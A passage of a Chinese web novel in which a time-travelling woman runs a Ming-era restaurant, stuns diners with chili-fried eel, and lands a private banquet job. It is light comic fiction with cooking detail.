宋瑾在辣椒烟里辣的眼泪直冒也不敢停了手中锅铲,直炒到辣椒发软快熟时,才将鳝段倒下去一并炒起来。
盐,酱油,再沿锅边淋一圈烧酒,撒下一把切成段的大蒜叶,锅铲挥动,直到每块鳝段都染上颜色,酱香喷鼻之时便可出锅。
等鳝段出了锅,宋瑾也忍不住,跑出厨房来,此时已经是满脸是泪。
宋瑾心想大明人还没吃辣椒,所以通风问题考虑的少,以后再建厨房,说什么也要两面通风,不然岂不是要呛死。
“哎呀,这菜呛死人了。”
婆子丫鬟一边挥舞着袖子,一边抱怨,春云跑去抓了扇子在厨房一通乱扇,其他人见了只好来帮忙。扇了半天,可算是把那呛人的味道给扇的七七八八。
锅里清蒸鲈鱼也正好熟透,宋瑾特意切了红椒丝在上头,这样颜色会好看许多。
两盘菜让小二一起端着,宋瑾跟着上楼。
菜上了桌,宋瑾见那鸡与鹅都吃的差不多了,汤罐被搬到一边,宋瑾明白过来。
汤喝多了,吃不下菜,喝不下酒,赚不来钱,这一点店里的伙计比她还懂。
眼下几人喝的兴起,见着那碟清蒸鱼上来,瓦松绿关兄先道:“这掌柜的灵活,上一回我才说颜色太素,今日就添了大红,果然比那日要好看许多。”
宋瑾笑笑,并不辩驳,谁叫她当日没有红辣椒呢,今日不是才有嘛。
“柴兄尝尝,这鱼嫩的很,要蘸着底下这汤汁方才有味。”
柴恒道:“这广东菜有意思,各个都要蘸料才有味。”
宋瑾想想,还真有不少菜是这么个吃法。
思索间,柴恒已经夹了一筷子肉进了嘴里,品尝之后连连点头,连道不错,又用筷子去挖鱼脸上一块嫩肉,比腹部鱼肉更加嫩滑。
宋瑾心想,倒是跟自己一个爱好。
“唉,这是什么菜?”有人指着宋瑾手边那碟子爆炒鳝段问道。
“爆炒鳝段。”
“鳝段我认识,可是这红色的是什么?”
宋瑾自然知道他问的是辣椒,却并不作答:“公子尝过便知道了。”
一碟子爆炒鳝段摆上桌,红的绿的金黄的,香气扑鼻,色泽诱人。
柴恒夹了一筷子鳝段放入口中,眉头一皱,哈了一声气,一块吃完也没说话,又夹了一筷子继续吃。
黄鳝肉质奇怪,耐炒,即使那般爆炒,中间也是嫩的,边缘叫热油炸的微焦,带着奇特的焦香味,宋瑾猜出这味道不差,柴恒一口接一口也说明味道不差,只是......
宋瑾看见柴恒喝过酒的脸更红了些。
“这味道......有劲儿。”
话刚说完,忍不住又哈了一口气,筷子再次伸向那鳝段,其他人也好奇起来,纷纷夹了起来。
“倒是比卤的更入味,不过这是什么味道,比蒜还辣,辣的嘴痛。”
有人笑话他:“李兄不能吃辣便不要吃了,我觉着这味道刚刚好,过瘾的很。”
那被称作李兄的人不甘示弱:“你有本事再多吃些,那红的你也吃些。”
那人倒是痛快,夹起一片辣椒道:“有什么不敢的。”说罢丢进口中咀嚼起来。
宋瑾直勾勾地盯着那人的脸,看他作何反应,
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结果不过两息功夫,那人停止了咀嚼的动作,两眼呆滞,忽然大叫起来。
“啊!痛!痛!痛!辣!辣!辣!”
一边喊着,一边往外吐,脸上瞬间红透,眼眶蓄满眼泪,舌头伸得老长,不断哈着气。
那李兄没有放过这嘲笑的大好时机:“我说什么来着,没本事还要尝,这会子知道厉害了吧。”
有人好奇起来,也夹了一块放进嘴里。
要不怎么说好奇害死猫呢?这好奇心就像传染病,一个不断流泪哈气后,就开始激另一个人,你敢不敢吃?
于是一下子各个嘴里都塞了一块红辣椒,各个伸长舌头,最苦的还是那个身材圆润的柴兄。
六月天气本就燥热,又不禁辣,被人挑拨吃了一块红辣椒后满脸通红,额头更是汗如雨下,一双原本粉色的双唇此刻鲜艳雨滴,人也坐不住了,站起身来伸着舌头满楼上乱窜。
“啊......痛痛痛......嘶哈嘶哈......辣辣辣......嘶哈嘶哈......”
走至宋瑾身边时,忍不住伸出那胖乎乎的手指着宋瑾:“你......嘶哈嘶哈......什么东西......嘶哈嘶哈......”
宋瑾看着他那样子,一双圆眼几乎瞪出来,怀疑是辣过头了,可别辣着心窝了,忙转头问店中可有牛□□,结果是没有。
宋瑾只好吩咐去井里打水,要凉的,小二应声去了,可是转头就看见那几人已经端上茶喝起来了。
“别喝!”
晚了。
热茶碰辣椒,辣上加辣,一桌子五六人都没法待在原地了,各个辣的直蹦。
“啊!这是什么菜!嘶哈嘶哈......”
“这菜......要命......嘶哈嘶哈......”
“什么东西......嘶哈嘶哈......”
......
店中诸人看了傻眼,吃个菜愣是把一众人吃的到处乱跑,也不知道这掌柜的放了什么致命佐料在里头。
“喝点冷水,含在口中也好,可以降温。”
宋瑾劝着各位,可是没人听得进去,一张嘴张开根本合不上。宋瑾只好端着井水挨个去劝,挨个去喂,挨个叫把嘴闭上。
小二索性端了盆井水上来,用干净的手巾浸了,给几个辣的不断冒汗的擦拭,哪里擦的过来,一时间各个背上一滩汗渍。
“完了,掌柜的,完了......”
小二在一边嘀咕,宋瑾也郁闷,不能吃就别吃,被人激一下就吃,吃了又抱怨叫怎么回事。
可是眼下不是计较这个的时候,她冷静着,眼前几人各个口中含着井水,辣的头脑发昏,如今也是坐在那里不动了。
小二又端水过去给几人漱口换水,有人趁着空隙抱怨:“掌柜的,我怕是得罪过你吧?”
宋瑾讪笑着摇头:“只是一道菜。”
有人道:“菜?那你也吃,你吃给我看看。”
“就是,你吃,你吃。”
柴恒是被辣的没力气说话了,宋瑾没办法,看了眼那红辣椒,当真夹起了一筷子尝了。
辣是辣的,不过......
这帮垃圾!
28. 娘子
宋瑾从前是个吃四方的人,小时候不沾辣,长大了无辣不欢,后来去了不吃辣的地区才渐渐改了吃辣的习惯,可是吃辣的本事没丢。
这点辣,小意思。
一口辣椒下去又是一口,吃完了又舀了碗汤自顾自喝着,随后站在桌边淡淡道:“我吃过了。”
几人呆滞。
“不辣么?”
“辣是辣的,不过仅此而已。”
几个男人更想哭了。
柴恒没忍住:“呜呜,娘子......”
宋瑾也不知道他在叫唤谁,就看见一双小脚支撑着肥大的身子,呜呜哭着就往楼下奔去,边跑边喊“娘子”。
几人看见柴恒跑了,也都跟着下楼走了,倒是那关兄,回头看了眼剩菜极多的桌子,忍不住叹气,似是不舍,又不得不走。
宋瑾看了傻眼,这人跑了,谁来结账?就算挂账,好歹留个凭据什么的吧?
就在宋瑾要去追的时候,小二拉住了她:“掌柜的,咱别去了,气头上呢。不提银子还好说,提了怕是要闹。”
“他跟我闹?”
“可不是么,人家好端端的来吃饭,哭哭啼啼跑出去,给人瞧见了,实在不好。”
“他自己遭不住辣,干我何事?又不是我逼他吃的,不是那几人挑唆的嘛?”
小二道:“眼下气头上,说不清的,等气消了,过几日咱们去府上讨银子的时候再说吧。”
宋瑾气结,搞不明白这帮男人怎么这么禁不住起哄,害她连讨银子都变难了。
于是原本一件欢欢喜喜的事情,就在那火红辣椒的加持下,变得喜忧未定起来,整个食鼎楼蔫了下来。
宋瑾回了后厨,气鼓鼓地坐在那里,几人都过来追问。
“怎的了?可是那呛人的菜给人吃坏了?”
“我就说嘛,那菜太呛口,太辣了,比我吃的最辣的蒜都辣,人家金贵玉体,哪里遭得住这些。”
“咱们往后可得悠着点儿,苏州菜式不也挺好的嘛,至少不会出错,可对?”
“眼下怎么办?那人不会到处胡说去吧?万一嚷嚷起来,咱们店里往后只怕不会有大客来了。”
......
几人七嘴八舌叽叽喳喳,宋瑾扭了扭身子换了个方向,心中万分不爽,索性摸出怀里那切鹅时赏的一锭银子。
此人虽不能吃辣,可是给银倒爽快,宋瑾盼着过几日去结账之时也能这般爽快。
“这是那官人赏的?”几人见了银子都眼冒金光。
赏银在柏家也有过,丰年过年总是少不了的,可是一赏就是一锭银子的可没见过。
“对,赏我的,咱们把它吃了。”那人没福气,她要自己享受。
宋瑾这桌席面还没有上完,剩了些菜式,加上桌上没吃完的,还真剩了不少菜。于是一群人上去撤了菜,都端到后院里来。
人家下了席没吃完的菜叫剩菜,人家没下席那就不是剩菜,不过是板凳上有没有屁股的事,做奴才的才不介意。
就是宋瑾当年还是小员工的时候,公司组织活动,那也是忙完了最后才去吃饭,可不就是剩菜剩饭么。
只是她今天没有胃口,心里膈应的很,索性吩咐婆子再杀一只鸡,重做了一道已经被吃完的白切鸡,她要好好享受享受。
几人说起要再做一只鸡,又是宋瑾的银子,自然没有不乐意的,逮着一只当场杀了拔毛。宋瑾依法做了,只等前头散客吃完了,大家都闲了便聚到后院一起来吃。
金华酒倒来,白切鸡端来,宋瑾也不想别的,一口酒一口鸡,也不说话,就这么慢慢吃着。倒是其他几人,对这难得一见的大餐极尽赞美之词。
“这鸡香,嫩,比咱们在家吃的好多了。”
“就是就是,咱们今天要是都上这种菜,估计也不会闹成这般。”
“掌柜的,咱们往后别做那菜了,就做这鸡,整只整只的卖,可不比那烧鸭烧鹅要好嘛。”
宋瑾完全不在乎婆子们对辣椒的否定,倒是对卖鸡一事做了肯定。
“好啊,明儿咱们就试试,先做上两只,就说是柴大官人吃了都说好,卖的出去再多做些。”
“好好好,就这么办。”
宋瑾想,柴恒这波流量,她高低要蹭上。哭归哭,辣归辣,可鸡是无辜的,鸡真的好吃。
这一晚月色不大好,直到亥时才见月亮缓缓爬上来,淡淡月光洒满小小院落。几人索性吹灭油灯,就这么就着月光,没有主子,没有奴仆,没有食客,一起吃吃喝喝,说说笑笑。
宋瑾喝的多了些,倦意袭来,眼皮子直打架,春云和红杏见了,索性将她先扶进屋里睡了。
一夜无梦,可惜这平静没有持续多久,第二日一早,一个长相极为喜庆的姑娘出现在店中,气势汹汹。
小二走上前去问,方知此人正是昨日柴大官人口中喊的“娘子”。
“去把你们掌柜的给我叫出来,我倒要看看,他昨儿给我相公吃了什么歹毒的东西,害他回去哭到半夜。”
小二慌了神,都忘了请贵客坐下,就直奔后头找正在厨房忙碌的宋瑾去了。
宋瑾听了这话,方知是有人来打抱不平了,躲不是办法,索性擦擦手走到前头来。
刚踏进店中,就看见一女子立在店中央,周围数名仆从紧紧围绕。珠翠满头,锦衣着身,身型圆润,看起来倒与那柴公子极为相称,一对福气娃娃。只是表情不大好,横眉怒目,一副要吃人的样子。
“夫人,就是他,就是他给老爷吃哭了。”一个青衣小厮见着宋瑾出来,忙不迭地对那女子说道。
“你就是这食鼎楼的掌柜?”
声音洪亮,中气十足,一听就知道身体健康。
“正是在下。”
“哼!”那女子走近宋瑾,上下打量着,宋瑾的视线没有躲避。
柳眉杏眼圆盘脸,好有福气的面相。
“不知夫人有何贵干?”
“说,你昨儿给我相公吃什么了?”
宋瑾恭敬道:“只是一道寻常菜式,怕是柴公子吃不习惯,所以......”
“不习惯?那是不习惯吗?他回去痛哭了半晌,要不是因着宵禁,我昨夜就来收拾你了。”
宋瑾讪讪笑道:“夫人教训的是。”
除了认错,还能怎么办?说他不抗辣嘛?她还想要饭资呢。
“你今儿就给我做一道他昨儿吃过的菜,然后当着我的
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面把它吃的干干净净,我就饶了你。”
宋瑾咋舌,吃两口是一种辣法,吃一碟子可就是另一种辣法了。嘴巴扛得住,屁股也扛不住啊。
“夫人消消气......”
宋瑾正要上去求饶,哪晓得那娘子一甩袖子:“老娘消不了气!我家相公出来吃个饭,遇到过不好吃的,还没见过吃哭的,你今天不给我哭一天,我都消不了这个气。”
宋瑾想,这人还挺好的,只是要他吃哭,没把他打哭,怎么不算好人呢。
“这......”后厨里确实还剩了些辣椒,只是没有原先多了,要做不是不行,就怕那青衣小厮跳出来说跟昨天的有差。
“只是店中没有准备,那菜只剩一部分了,要做只有半碗。”
“半碗就半碗,半碗你也给我吃干净了。”
宋瑾答应了:“成,夫人说什么都成,那夫人楼上坐?”
说着就要把人往楼上引,圆润娘子一时没有反应过来,跟着人就走,踩的楼梯嘎吱作响。
待走到一半方才发觉不对:“不对,我叫你做菜你自己吃,你叫我去楼上做什么?”
宋瑾笑笑:“做菜也有个时间,夫人楼上坐等,喝杯茶,等在下做好菜,自然当着夫人的面吃干净。”
那娘子这才哦了一声,转身继续往楼上去了。
宋瑾命人沏好茶,自己去后头做菜去了。
爆炒鳝段是一道快菜,不过今天宋瑾还是花了更多的时间。她把辣椒放在锅底炒了许久,以此来消除一些辣味,这才添了鳝段进去翻炒。
出锅之时宋瑾端到鼻尖闻了闻,辣气减少,肉香增加,若是再添碗米饭,这在二十一世纪也要卖上好几十块。
一碗米饭一碟菜,宋瑾早饭吃的少,此刻闻见辣气,顿时胃口大开,口水直流。
她端着盘子上了楼,就见那贵气娘子坐在窗边,此刻见人上来,一副要她好看的样子。
宋瑾不慌不忙端着盘子过去,笑着问道:“夫人可否允许在下坐着吃饭?”
那娘子眼神一扫对面座椅:“坐吧。”
宋瑾毫不客气,一屁股坐了下去,端起饭碗道:“那在下就吃给夫人看了?”
“吃,你给我吃。”说话间嗅了嗅,说不上来是什么味道,有些香,又有些冲。
宋瑾夹了一大筷子的鳝段和辣椒埋进米饭里,张着大嘴就是一口,边吃边道:“香,真香。”
说完又迫不及待地夹了一筷子,边吃边哈气,边吃边喊香,喊得对面直咽唾沫。
“昨儿是这道菜把老爷吃哭的?”她问身边的青衣小厮。
“是啊,老爷就是吃的这个菜,那个红的,就一口,吃哭了。”
娘子皱了皱眉,似是不大相信。
“你是不是记错了?”
“准没错,关公子他们都吃了,都受不了那个味儿。”
“那都哭了没?”娘子不甘心。
“那倒没有,只有老爷......”
话未说完,那娘子的眼神已经瞪了过来,宋瑾在一边添油加醋。
“昨儿吃这道菜的时候,在下一直在柴公子身边。我瞧着那几位都还好,都怂恿柴公子多吃,这才吃哭了的。”
29. 真香
宋瑾记得,昨儿几人谈话,这柴大官人的娘子不喜欢那几人,索性今天一股脑儿都推给那几人,谁叫他们怂恿柴恒吃辣椒,鳝段不是吃的好好的嘛,欺负人。
果然那娘子听说是那几人怂恿柴恒吃的,立刻皱起眉头:“原来是那几个没安好心的,整日带着出去吃吃喝喝也就罢了,还怂恿他吃这些不该吃的,早晚有一天我要收拾了他们。”
宋瑾听了不吭气,埋头继续吃,真的香,吃完一碗又站起身来:“夫人,可否容在下再添碗饭?”
几人俱都愣住了,看看宋瑾,又看看那碟子菜,各个疑惑不解。
有那么香么?
“我是在罚你。”贵气娘子蹙着眉头,颇为不满。
“施压,罚在下吃菜嘛,吃着呢,还想多吃两碗。”
宋瑾看见那娘子咽了口唾沫,估计也是被她勾着了。
“夫人要不要尝尝?”
娘子嘴硬:“我会想吃你这......这是什么?”
“夫人,这叫番椒,能做菜的。”
那娘子稍稍凑近了盘子,轻嗅了两下,不置可否。
宋瑾上赶着道:“我去给夫人盛饭去。”
说完也不管那娘子要不要吃,扭头就往楼下跑去了,顺便去瞧了那早早用井水浸起来的白切鸡,估摸着已经凉透,索性捞起来切了。
备好蘸料,连着两碗饭,一碟白切鸡一起端上楼去。
“夫人,店中刚做好的鸡,您尝尝。”
正所谓伸手不打笑人脸,宋瑾又笑的实在太欢谄媚,那夫人也不好意思起来,尤其是被那辣椒给勾的好奇心十足。
“我不吃鸡,我吃这个。”
宋瑾笑呵呵地把碗筷递过去:“夫人就是有眼光,拿这番椒配鳝鱼,鲜嫩香辣,配上米饭最是过瘾,您尝尝。”
那娘子挠挠头,接过了碗筷。
今天是干嘛来的?吃一口再说吧。
番椒瞧着红红火火,但实在奇怪,于是先挑了一块鳝鱼吃了起来。
“嗯——不错,比卤的要过瘾,哈——辣。”
“夫人,这番椒更辣,您别吃,就吃鳝鱼。”
娘子脸色发红,情不自禁坐直了身子,连夹了几块鳝鱼到碗里。
“你怎么知道这番椒能吃的?”
宋瑾笑笑,开始胡编:“我小时候好奇,看这番椒红红火火的,当是什么好吃的,摘了就往嘴里塞,结果辣的直哭,所以知道是这么个味。”
那娘子听罢,哈哈大笑起来:“原来你也辣哭过,我还以为就我相公哭呢。”
宋瑾嘿嘿直笑,心想这账应该是算完了吧,自己应该能讨来饭资吧。
“夫人也尝尝这鸡,跟别家做法都不一样,昨儿大官人来吃,也说好吃,嫩。”
“我试试,我试试。”
宋瑾看她这个身材,大约跟柴恒是有共同爱好的,所以极力推荐那只白切鸡,果不其然夹了一块鸡腿。
“嗯——香,比炖的嫩多了。”
宋瑾笑笑,没想到昨儿的柴大官人没拿下,今天倒是拿下了大娘子,这不就是失之东隅,收之桑榆嘛。
那娘子吃了一块鸡腿还不够,又夹了一块肉:“你这鸡怎么做的,也教教我家厨役。”
宋瑾听了笑笑:“夫人说笑,若是爱吃,在下每日往府上送就是了,也不必劳烦府中厨役了。”
那娘子一听,大笑起来:“果然是个开酒楼的,成,往后隔日就往我家送上两只。”
“成,多谢夫人赏脸。”
这两人,一个贪吃,一个用力巴结,结果就巴结出一宗买卖来。生意不大,却是很好的开始。
等那夫人吃到嘶哈嘶哈之时,那碟子鳝鱼也见了底。
“成,吃完了,今儿就送两只鸡到我家。”
说完跟柴恒一个习性,吃饱喝足就走人,宋瑾上赶着去送人,站在门口高声喊道:
“多谢柴夫人赏识,在下这就去给夫人准备白切鸡,一会儿就给您送到府上。”
那娘子也知道宋瑾是故意喊给别人听的,也不甚在意,挥挥袖子,上了那比旁人宽阔些的轿子走了。
虚惊一场后生意上送门,宋瑾转身回店,大喊一声:“去买鸡。”
于是这几日,食鼎楼的后院充满鸡味。每每到了凌晨,那尚不足岁的小公鸡哑着嗓子非要打鸣。一只开叫,全体都叫,吵得宋瑾不可开交。
因着这个原因,每每早起杀鸡时,小公鸡总是第一个被拎出笼子抹脖子。
拜柴大娘子所赐,食鼎楼的鸡成了一绝,隔日就会往柴家送上两只,这成了安居巷人人皆知的事情。
宋瑾索性开启了预定服务,提前一日预定,第二日午时便可来取,也方便知道要买多少鸡。
就这样,所有人围绕着鸡一直忙完了六月,七月到来时,柴家也来了人。
柴家七夕宴客,想请宋瑾去做主厨。
宋瑾眨巴了两下眼,隐隐察觉到自己又开启了新业务:私宴大厨。
“可是在下这小店也离不开人,若是都走了......”
“哎,掌柜的,您怎么拎不清呀?您这小店一日才挣几两银子?咱们家请您一趟都够您小店一个月挣的了。况且又不是每道菜都叫您做,您只管做些拿手的便好。”
宋瑾想,大方,真大方,拒绝不了,根本拒绝不了。
可是价格还是要谈的,没准儿就从一个月谈到三个月呢?
“成,您告诉柴大官人,七夕那日在下一定到府,另外我也备份菜单,提前给柴大官人过目。”
“这就对了嘛。”
那小厮传完话转身便走,等人走至门外一会子了,宋瑾似乎想起什么似的追了出去。
“这位小哥儿,等等,”宋瑾追上去,离了店中人的视线才开始谈价:“您家主人可有说起具体多少银两?”
“掌柜的,这您有什么好担心的,改日送菜谱去,您跟管家当面谈就是了。您要是不放心,尽管去打听打听,保管比您在这里挣得多,往日我们也请过厨役,除去菜式,光是雇人的银两就不会低于这个数,何况不是节日,没有贵客,谁家另请厨役呢。”
那小厮伸手比了个二的手势,宋瑾想,总
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不可能是二两吧,二十?还是二百?
二十的可能性挺大。
“小哥,你不知道。我家里人看的紧,若是叫他们知道我赚了这笔银子,必得全部上交,这我不是想着也听听曲儿嘛,嘿嘿,所以......”
“哦,我明白了,”那小厮恍然大悟:“您放心,大不了去账房结账的时候啊,您亲自去,不叫你家伙计知道,这不就完了嘛。”
宋瑾讪讪笑道:“我说的是您,您可别给我说岔了。”
小厮笑了:“您放心,只要那日饭菜做的好,奴才我就当什么都不知道,绝不往外说。”
宋瑾笑着谢过,这才送那人走了。
回去路上盘算着,若是只给阿荣报十两银子,她就净赚十两,加上赏银,然后自己去买菜,稍稍提价,这一回就能赚到十几两来。
若是阿荣在柴家账房那里问出来了,她也不怕,毕竟她赚了银子可没苛待过店里的人。
这样想着,宋瑾欢欢喜喜地回了店里,跟后厨两个婆子一起商议菜单,第二日一早便带着几人直奔菜市看看都有什么新鲜菜可以叫她拿来发挥。
碌鹅白切鸡爆炒鳝段少不了,那日没来得及上的清炒荷兰豆这会子已经过了季,菜市只有鼓鼓囊囊的豌豆了。
宋瑾四处逛了逛,眼下蚕豆都是干燥的老豆,花生正在时令。盐水花生也不错,比油炸的五香蚕豆要健康些。
一圈菜市逛下来,宋瑾心中菜谱已定,直奔回食鼎楼写下菜谱,这才单独跑去柴家议价。
柴家她也不是头一次来,只是以往送鸡只到门口便没再往里头去。后来核账只叫阿荣过来,所以这柴家内院长的什么样,她也不曾见过,她想七夕那日定能见着。
一路奔走,宋瑾脚下微酸,心情却很愉悦。一想到马上就能存到私房钱了,心里头就高兴不已。同时也担心银子该存在哪里,毕竟这大明可没有银行,连银票都没有,她似乎只能藏在衣柜里,可是那柜子还是几人共用呢。
愁归愁,一想到银子宋瑾脚下都轻快起来,忍不住蹦蹦跳跳地往柴府去了,一路街市热闹非凡,宋瑾第一回觉得这街市在欢迎她。
敲开门,是那位见过的门人,说清来由后便招呼宋瑾进了茶厅,他帮着去通传管事。
宋瑾坐在茶厅里,一眼就能看见轿厅里停了两顶宽敞大轿,还有一顶小些的轿子。
天井里种着木樨树,此时尚未开放,只觉得绿茵茵一片。
两侧矮楼,估摸着是家丁房,她记得柏家这个位置就是家丁房,用来看家护院的,所以住的靠外。
因为两侧小楼挡着,宋瑾看不到背后的风景,只好站在茶厅里发呆,过不多时就有小厮递上茶来。宋瑾揭了盖子一嗅,好茶。
有那么一瞬间,她觉得自己像个人,而不是个奴。大概是在这一刻,她被人当作人去对待了。
神思飘忽间,忽听有人喊她:“文掌柜的,什么风把您吹来了。”
来人四十多岁,青衣鬃帽,见着宋瑾,熟练地堆起笑容,挤出不少褶子来。
宋瑾见过此人,柴家的宋管事。
30. 脆皮五花肉与煨豌豆
能在柴恒这种人家当上管事的,没有一个不是人精,嘴上客客气气,心里怎么想可就不知道了。
宋瑾也好不到哪里去,笑着拱手作揖道:“宋管事,在下今日前来是想同您过一下七夕宴席的菜单,看可有什么要求或者缺漏,今日一并补上。”
“还是文掌柜想的周到,来,坐下谈。”
宋瑾递上自己列好的菜单后便坐在下首,等着宋管事慢慢看单子。
宋瑾还是头一回接这样的生意,小心一些总是必要的,这样的人家宴客,必然不是一般人,她也不敢怠慢。
宋管事仔细看过单子,道:“菜式倒是新鲜,不少是老夫不曾见过的,不过掌柜的手艺主家信得过。我看这单子没有问题,我也留下一份,若是有什么变动,老夫会派人到食鼎楼转告掌柜的。”
宋瑾笑着谢过了,又问起佣金一事,那管事道:“这平常雇厨役,那都是带着名号的,多得是从京师退下来的。文掌柜虽然开店不久,不过这厨艺倒是很受主家赏识,所以这佣金自然不会亏待了您,三十两,可行?”
宋瑾心里乐开花:“那就劳烦宋管事替在下谢过柴大官人了,那这里要用到的菜......”
“这些掌柜的自行准备就好了,免得宅中厨役准备的不合适,口味不好才是大问题。”
宋瑾笑的更开心了,这不就可以揩油了嘛,她这个中间商赚差价赚定了。
等谢过那管事,宋瑾才离开柴家。
一离了柴家大门,宋瑾就伸出三个手指头。
三十两哎,能买下一间僻静处不带院子的两层小楼了,换句话说,等脱了籍,她就可以买下一间小楼,住处是没有问题了。
可是再一细想,又很泄气。
三十两买小楼,那得脱籍,可是脱籍的银子只怕是要带院子的小楼才能行。
她记得曾经看过的一个例子,买奴的银子按每年六分息计算,在主家多少年就得按多少年算,几只鹅换来的奴仆,等赎身时恐怕要用带院小楼才能赎出。
付费打工,打的越久欠的越多,大概就是如此。
而且宋瑾不能只自己一个人出,必须得带着爹娘一起脱籍才可,这下更贵了。
想的越多头越痛,宋瑾干脆将脑袋一甩,不想了,先存钱,何况三十两至少大半要归于文雅。
这天回去之后,宋瑾就开始专心为七夕的事情准备起来,连佐料都单独准备了一些,直等到七夕这日早早的带着一个婆子和红杏一起往柴家去了。
柴家厨房比柏家还要大,下人也更多,宋瑾准备特色菜式,一般菜式也就交给自家下人打理就好。
碌鹅是少不了的,白切鸡和清蒸鱼婆子是熟悉的,苦瓜汤是容易的,这一回宋瑾的心思主要在小菜上,心思花的多。
第一道便是脆皮五花肉。
这肉一定要肥瘦相间,锅里添水,加酒,葱结,生姜和盐,将整条五花肉放进去,让水浸过。
小火慢煮,中途撇去浮沫,一直煮到水份几乎烧干,这肉里里外外便都熟了。
猪肉捞出后用小针把猪皮细细密密地扎上孔,一直晾到半干,再下油锅慢煎,一直煎到四面金黄,油香四溢便算成功了。
这肉里并没有多少味道,所以蘸料便显得十分重要。五香粉加上宋瑾自己磨的干辣椒粉,又是一道旁人不曾见过的菜。
宋瑾这边准备着五花肉,那边豌豆早已处理好。
豌豆是最新鲜最饱满的豌豆,锅里得用猪油,加上一块生姜去呛,等猪油化开,锅里飘香后倒入豌豆,直炒到豌豆皮爆开,再加早就准备好的鸡汤淹没,用小火慢慢煨着,直到豆子将鸡汤几乎吸收干净。撒一点点盐,加一点点团粉水,勾上薄薄的玻璃芡儿,便可出锅。
这道菜最讲究的是豆子和火候,豆子不新鲜就不够甜,火太大容易干,用鸡汤和猪油煨出来的豆子,带着豆子的天然甘甜,和肉脂的鲜香。吃起来是又甜又糯,比之前的蚕豆煲有过之而无不及。
等这道豌豆好了,那边管家已经来吩咐,说是可以上菜了,宋瑾忙端着碌鹅跟管事的出去了。
柴家颇大,出了厨房,宋管事带她穿过一个八角门,两人沿墙根走着,另一侧便是一片湖水。
湖边绿树成荫,湖面轻风推波,九曲桥上走过便可听见前方有丝竹之声传来。穿过假山小径,一间两层小楼出现在眼前。
屏门大开,宋瑾看见楼里数张桌子,但是坐了客的只有一桌。围着那桌子有三四位美艳歌姬成半包围姿态坐着,有抱琵琶的,有拨弄筝弦的,有吹笙箫的,热闹异常。
宋瑾忍不住瞥了眼那几位客人,不禁脚下一顿。
青竹竿子赫然在内。
这下好了,任歌姬谈唱什么她也听不见了,满脑子想的都是千万别被认出来。
等再瞥第二眼,完了,青竹竿子旁边坐的是那位卢大人。
宋瑾叹气,看命吧。
一道碌鹅献上,宋瑾还没有开口呢,那柴恒就开始介绍起来了。
“卢大人,您不是在广东任过职嘛,这道菜说是正宗的广东口味,您尝尝。”
宋瑾垂首切了那道鹅,一块一块摆好后放在桌子中央,死活不肯抬头。
那卢大人听见说是广东菜,立刻来了兴致,夹了一筷子放进嘴里,略嚼了嚼,道:“这菜本官还是头一回吃,肉中带着丝丝甜香,倒是有些广东叉烧的意味在里头。虽没吃过这道菜,也知道这是广东口味。”
卢俊年一句话算是定了这道菜的出身,宋瑾这广东手艺没骗人。
就在宋瑾要谢之时,忽然伸过一只手来,修长的手指捻着一颗碎银,宋瑾抬头一看,却是季舒白。
四目相对,都有些惊讶。
“咦——这不是那日柏家见过的那......那什么,叫什么来着?”卢俊年抓耳挠腮想不起来。
宋瑾垂首道:“在下文子晋,柏家主母乃是在下姑母。”
“对对对,就是你,我记得你,怎的成了厨役?”
宋瑾笑笑:“在下从小不擅诗书,好学厨艺,蒙姑母抬爱,借了些银两,容在下开了间小店,以
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此为生。”
“原来如此......”
宋瑾一边答话,一边伸手去接过赏银,抬眼看见季舒白那辨不清喜怒的表情,心虚的很。
不知道怎么回事,每次宋瑾看见季舒白就心虚,不知道因为这身假皮,还是那带着不可改人目的的火灾,又或者是因为自己脑子糊涂,信口念的黄诗。
心中祈祷数遍千万莫要计较时,那冤孽开了口。
“你可知,你姑母日前正在与柏家打立继官司?”
宋瑾握着银子,垂首答:“有所耳闻,不过终究是柏家之事,在下姓文,不好多问的。”
冤孽没再开口,倒是柴恒,催着叫上新的菜式,宋瑾逃难似的跑了。
宋瑾没再亲自上菜,而是窝在厨房准备现炒的菜式。
手中捏着锅铲,心里却憋着气,想想自己好像除了念黄诗,也不曾得罪过那姓季,怎么回回见她都没有好脸色?
莫非此人不会笑?
那哭呢?
宋瑾心中纳闷,存心要折腾他一下,于是视线瞥向了那鳝段。
那碟子爆炒鳝段上桌之时,宋瑾悄悄地跟在后头,却不进屋里,只藏身在院中太湖石后头偷偷看着。
今儿的辣椒她没有像那日自己吃时爆炒许久,只炒至断生,辣度不低,宋瑾有心想看季舒白失态的样子。
“来,舒白,你在京师多年,不知道口味可有变化。这道菜既不是苏州口味,也不是广东口味,是今日厨役做的特殊口味,你尝尝。”
宋瑾想那柴恒也是有意思,看几人说话的样子似乎十分相熟,不过转念一想,不熟的话何必在七夕邀到家里。
季舒白听了他的话,夹了一筷子鳝段放进口中,宋瑾有些遗憾,怎么没跟那日起哄一样,叫他吃辣椒呢?
正遗憾间,忽见季舒白眉头紧皱,以手捂嘴,表情似是十分痛苦。
“这是什么?这么辣?”
说完微微松开手,宋瑾瞧的真切,手掌之下季舒白吐出舌头,使劲哈气。
像夏日里快被热晕的狗,还是很大只那种。
屋里的人辣的话都说不清,院里的那个憋笑憋的脸颊生疼。谁知正欢乐间,忽听背后有人喊她:
“文掌柜?你怎的在这里?”
宋瑾:“......”
“唉,掌柜的,你瞧瞧这菜,竟比那日的还要辣。”
柴恒叫了她,这会子真逃不掉了。
宋瑾讪笑着走过去:“大人,可是这菜有什么问题?”
卢俊年眼眶发红,吸着鼻子道:“这菜辣,太辣了,是哪里的口味?”
宋瑾哑口,如今大家都还不大吃呢,算哪里的口味?
算她记忆里的口味。
“此乃四川口味。”宋瑾猜这群人没去过四川。
“不是......”那卢俊年想说话,又被辣的呛回去。
宋瑾瞥了眼季舒白,就看见他一只白皙的大手捂着嘴,眼睫微颤,莹莹烛火下隐约可见一滴泪珠。
“扑哧——”
31. 双皮奶与焦糖布丁
宋瑾缺了大德,一道菜把季舒白辣的泪花都出来了,她却没忍住,当众笑了出来。
待反应过来时早已来不及,众人都看向她。
“你笑什么?”问话的是卢俊年。
“没......没有笑。”
“你笑了,我听见了。”
卢俊年没完没了,宋瑾一时分不清是哑巴季舒白好,还是滑头话唠卢俊年更招人喜欢。
待宋瑾收拾好情绪抬眼时,迎面对上季舒白那幽怨的目光。
长睫沾湿,凝成一簇一簇的,目光哀怨,鼻尖发红,看着怎么那么招人怜爱呢?
完了,宋瑾又想笑,慌得她脑袋一垂,再也不肯抬起。
几人瞧见她那样子,都转头去看季舒白,看的另外两人也跟着笑。
